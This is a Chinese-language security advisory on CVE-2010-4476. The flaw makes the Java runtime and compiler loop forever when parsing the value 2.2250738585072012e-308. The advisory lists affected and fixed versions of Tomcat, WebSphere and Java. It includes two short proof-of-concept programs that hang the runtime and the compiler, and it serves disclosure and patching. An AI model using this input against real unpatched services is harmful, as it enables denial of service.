发布日期:2011-02-01
更新日期:2011-02-14
受影响系统:
Apache Group Tomcat 5.0 - 7.0.6
IBM Websphere Application Server 6.1.0.27 - 6.1 .33
Sun SDK 1.3.1 - 1.4.2_24
IBM Runtimes for Java Technology 5.0
不受影响系统:
Apache Group Tomcat 7.0.8
Apache Group Tomcat 6.0.32
IBM Runtimes for Java Technology 5.0 SR12 FP 4
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 46091
CVE ID: CVE-2010-4476
Java运行时环境(JRE)为JAVA应用程序提供可靠的运行环境。
Oracle Java在处理畸形的数值时存在漏洞,远程攻击者可利用此漏洞造成以Java编写的应用程序挂起,造成拒绝服务。
在转换十进制数字2.2250738585072012e-308为双精度二进制浮点值时,Java的运行时和编辑器都进入到无限循环。此数字应转换为0x1p-1022即DBL_MIN,但是java陷入0x1p-1022和0x0.fffffffffffffp-1022之间的循环。
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Konstantin Preisser ()提供了如下测试方法:
Send a Java Program Into An Infinite Loop
Compile this program and run it; the program will hang (at least it does on a 32-bit system with the latest JRE/JDK):
class runhang {
public static void main(String[] args) {
System.out.println("Test:");
double d = Double.parseDouble("2.2250738585072012e-308");
System.out.println("Value: " + d);
}
}
Send the Java Compiler Into An Infinite Loop
Try to compile this program; the compiler will hang:
class compilehang {
public static void main(String[] args) {
double d = 2.2250738585072012e-308;
System.out.println("Value: " + d);
}
}
建议:
--------------------------------------------------------------------------------
厂商补丁:
IBM
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
Sun
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载: